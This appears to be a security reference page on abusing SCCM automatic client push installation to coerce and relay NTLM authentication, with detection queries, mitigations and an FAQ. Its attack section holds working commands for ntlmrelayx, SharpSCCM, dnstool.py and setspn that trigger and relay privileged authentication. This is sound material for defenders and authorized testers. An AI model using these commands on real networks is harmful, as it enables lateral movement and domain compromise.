How it works
Client push installation is how a Configuration Manager site installs its own agent. The primary site server connects to the target computer's ADMIN$ share over SMB, copies the setup files and starts the installation through a remote service. To be allowed to do that, it authenticates with the client push installation accounts configured on the site, one after another, and if none works (or none is configured) with the site server's own computer account. Every one of those identities must be a local administrator on the computers it installs to.
The site connects with Kerberos first. If the "Allow connection fallback to NTLM" setting is on, a Kerberos failure makes it retry with NTLM. A target named by IP address, or a name with no service principal, always fails Kerberos, so the attacker controls whether the fallback happens.
With automatic site-wide client push installation enabled, the site pushes to every computer it discovers that has no client. The attack is to get a computer of the attacker's choosing discovered:
- Heartbeat discovery from a fake client. Where the site assigns clients automatically and does not require PKI client certificates, anyone can register a new device with the management point and send a discovery record that names any NetBIOS name, FQDN or IP address. The site server then tries to push the client to that address.
- Active Directory System Discovery. Where the site discovers computers from the directory, a domain user creates a computer account inside the discovery scope, points a DNS record with that name at the attacker host, and waits for the next discovery cycle.
Either way the primary site server opens an SMB connection to the attacker and authenticates with each client push account and then its machine account. That is forced authentication with a privileged twist: these accounts are local administrators on a large share of the estate by design.
The attacker can then:
- Relay the authentication to SMB on any computer where the account is a local administrator and SMB signing is not required. See SMB relay.
- Relay the site server's machine account to the site database or another site system and take over the hierarchy. See SCCM site takeover via NTLM relay.
- Relay over HTTP to LDAP. If the WebClient service is installed on the site server, the push can be made to authenticate over WebDAV, which can be relayed to LDAP.
- Crack the captured NetNTLMv2 response offline when the push account has a weak password.
Microsoft changed the default for new sites in version 2207 so that NTLM fallback is off. On versions 2103 to 2207 a disabled setting is honored only with hotfix KB15498768, later superseded by KB15599094, which also removes an NTLM connection the push account made to read WMI results from computers in trusted domains.
Prerequisites
- A domain account, and network access to a management point (HTTP or HTTPS).
- Automatic site-wide client push installation enabled on the site.
- NTLM fallback allowed, or a site on 2103 to 2207 without the hotfix.
- For the heartbeat variant: automatic site assignment, and PKI certificates not required for client authentication.
- For the discovery variant: Active Directory System Discovery enabled, the right to create a computer account in a discovered container, and the right to add a DNS record (any authenticated user can add records to an AD-integrated zone by default).
- The site server must be able to reach the attacker host on TCP 445.
- For a relay: a target where the coerced account is a local administrator and SMB signing is not required.
Whether automatic client push and NTLM fallback are enabled cannot be read without Configuration Manager rights. An attacker learns it by trying.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Start the relay
On the attacker host, relay incoming SMB authentication to a computer where the push account is expected to be a local administrator:
ntlmrelayx.py -smb2support -ts -ip 192.0.2.50 -t 192.0.2.60
To relay to several hosts and keep the sessions open for later use, give a target file and the SOCKS option:
ntlmrelayx.py -tf targets.txt -smb2support -socks
2. Trigger client push from a fake client
From a domain-joined Windows host, SharpSCCM registers a new device with the management point and sends a discovery record that names the relay host:
.\SharpSCCM.exe invoke client-push -sms sccm01.corp.example.com -sc PS1 -t 192.0.2.50
Without -t, the target is the machine running SharpSCCM. If the device record is created but no push follows, running the command again usually starts it.
Within a few minutes the relay receives one connection per configured client push account and then one from the site server's machine account:
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.0.2.30, attacking target smb://192.0.2.60
[*] Authenticating against smb://192.0.2.60 as CORP/SVC-SCCMPUSH SUCCEED
Variant: Active Directory System Discovery
When the fake-client route is closed (PKI certificates required, or no automatic site assignment) but the site discovers computers from the directory, create a DNS record and a computer account with the same name:
# A record for a computer that does not exist yet, pointing at the relay host
python3 dnstool.py -u 'corp.example.com\alice' -p 'Password1!' -r ws99.corp.example.com -a add -t A -d 192.0.2.50 192.0.2.10
Join a machine to the domain under that name (or create the computer account another way), then remove its HOST service principal names so that the site server cannot get a Kerberos ticket for it and falls back to NTLM:
setspn -D host/ws99 ws99
setspn -D host/ws99.corp.example.com ws99
Delta discovery runs every five minutes by default. After the next cycle the site server connects to the name, which resolves to the relay host.
Variant: HTTP coercion and relay to LDAP
If the WebClient service is installed on the site server, the push can be made to arrive over WebDAV instead of SMB. Add a DNS record for the relay host with dnstool.py as above (WebClient only authenticates to names, not IP addresses), run the relay with its SMB server off so that only the HTTP listener answers, and relay to LDAPS on a domain controller:
ntlmrelayx.py -t ldaps://192.0.2.10 -smb2support -ts --no-smb-server -i
.\SharpSCCM.exe invoke client-push -sms sccm01.corp.example.com -sc PS1 -t RELAY01
The relay log then shows an HTTP request for /admin%24 from the site server, and -i opens an interactive LDAP shell as the relayed account. SharpSCCM also accepts a target in the form address@port for a WebDAV listener on another port.
3. Use the relayed session
With a local administrator session on the relay target, the attacker dumps its credentials or runs code on it. With the site server's machine account, the next step is the site database or another site system.
Impact
The client push account is one of the most widely privileged accounts in a managed estate: local administrator wherever the client is pushed. Relaying it gives code execution on workstations and servers across the site, which is fast lateral movement from an ordinary domain account. Organizations often use a Domain Admins member for client push for convenience, and then the same relay is direct privilege escalation to the domain.
The site server's machine account arrives in the same exchange. It is a local administrator on every site system and has rights in the site database, so relaying it leads to control of the whole Configuration Manager hierarchy.
OPSEC and artifacts
- The fake device stays. Each
invoke client-pushcreates a device record in the site, named after the target the operator chose. A user without Configuration Manager rights cannot delete it. With Full Administrator rights,SharpSCCM.exe remove device GUID:<GUID>cleans it up. - The site keeps retrying. A failed push is retried every 60 minutes for seven days, so the site server keeps connecting to the attacker's address long after the operation. A device that sits in the retry queue for more than 24 hours can raise an error in the console.
ccm.logon the site server records every push attempt with the target name, the account tried and the result. An attempt to an IP address or to a name that is not a workstation is visible there.- The discovery variant leaves directory objects: a computer account (event 4741) and a DNS record created by a user, both of which need domain rights to remove.
- Relayed logons carry the wrong source. On the relay target, event 4624 shows the push account or
SITESERVER$with the NTLM package and the attacker's IP address as the source, not the site server's. - Kerberos noise. The site server's failed attempt to get a service ticket for the bogus target, and the NTLM that follows, are both recorded on domain controllers when NTLM auditing is on (NTLM event 8004, event 4776).
Detection
- Push accounts and the site server account authenticating from the wrong place. The client push accounts only ever originate from the primary site server. A successful logon for one of them, or for the site server's computer account, from any other address is a relay. The NTLM relay rules cover the general pattern.
- NTLM from an account that should use Kerberos. After fallback is disabled, any NTLM logon by a push account is an anomaly.
- Site server connecting outward to non-clients. SMB connections from the primary site server to user workstations that already have a client, to addresses outside managed ranges, or to the same host every hour, match the retry pattern. Compare with
ccm.log. - Short-lived or odd device records: devices named as IP addresses, devices that registered but never sent inventory.
- Directory precursors for the discovery variant: a computer account created by a user and a new DNS record for the same name. The authentication coercion rules cover the RPC-based ways to force the same connection.
// Client push account logons, by destination and source
// Any source that is not the primary site server is a relay
let PushAccounts = dynamic(["svc-sccmpush"]);
let SiteServerIPs = dynamic(["192.0.2.30"]);
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4624 and LogonType == 3
| where TargetUserName in~ (PushAccounts)
| where IpAddress !in (SiteServerIPs)
| summarize Logons = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated)
by TargetDomainName, TargetUserName, Computer, IpAddress, AuthenticationPackageName
| order by Logons desc
Filtering on the configured push accounts misses activity that uses the site server's machine account, so run the same query for SITESERVER$. A missing source address in the event limits the comparison.
Mitigation
- Turn off automatic site-wide client push installation. Install the client with software update-based installation, Group Policy, or an image instead. Without automatic push, a discovered computer does not make the site server connect to it.
- Disable "Allow connection fallback to NTLM" in the client push installation properties, and confirm the site honors it: version 2207 or later, or KB15599094 on 2103 to 2207. Check Kerberos works for the real client population first.
- Give client push accounts only what they need. Local administrator on the computers they install to, nothing in the domain, no interactive logon, and separate accounts for separate populations so that one relay does not cover the estate.
- Require SMB signing on servers and workstations so that relayed SMB sessions fail. The SMB signing guide covers the rollout. Enforce LDAP signing and channel binding on domain controllers for the HTTP variant.
- Require PKI certificates for client authentication, or approve clients manually, so that a fake device cannot register.
- Narrow discovery. Limit Active Directory System Discovery to the OUs that hold real computers, and set
ms-DS-MachineAccountQuotato 0 so users cannot add computer accounts. See the MachineAccountQuota guide. - Block outbound SMB from site servers to networks where no clients are installed, and put site server computer accounts under the NTLM restrictions your environment supports.
Detection rules for this attack
Log events to collect
FAQ
What is SCCM client push installation?
It is a deployment method in which the primary site server connects to a computer's ADMIN$ share, copies the client setup files and starts the installation. To do that it authenticates with one or more client push installation accounts that are local administrators on the targets, and falls back to its own computer account.
Why can a normal domain user trigger client push?
With automatic site-wide client push enabled, the site installs the client on every computer it discovers. A user can make the site discover a computer of their choosing, either by registering a fake device with the management point or by creating a computer account that Active Directory System Discovery picks up. The site server then connects to the address the user supplied.
Does disabling NTLM fallback fix client push coercion?
It removes the NTLM authentication the attack depends on, provided the setting is actually honored. On versions 2103 to 2207 the disabled setting only takes effect once the hotfix is installed: KB15599094, which supersedes KB15498768. Sites upgraded from older versions keep their previous setting, so check each site.
How do you detect client push coercion?
Look for the client push account or the site server's computer account logging on to any host from an address that is not the primary site server, which indicates a relay. On the site server, ccm.log shows push attempts to a target that is not a real workstation, repeated every hour.
References
- Deploy clients to Windows computers: client push installation (Microsoft Learn)
- Accounts used in Configuration Manager: client push installation account (Microsoft Learn)
- KB15599094: Configuration Manager hotfix for client push NTLM fallback (Microsoft Learn)
- Forced Authentication, T1187 (MITRE ATT&CK)
- Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay, T1557.001 (MITRE ATT&CK)
- Misconfiguration Manager: ELEVATE-2, NTLM relay via automatic client push installation
- Misconfiguration Manager: ELEVATE-3, automatic client push installation and AD System Discovery
- Coercing NTLM Authentication from SCCM Servers (Chris Thompson, SpecterOps)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.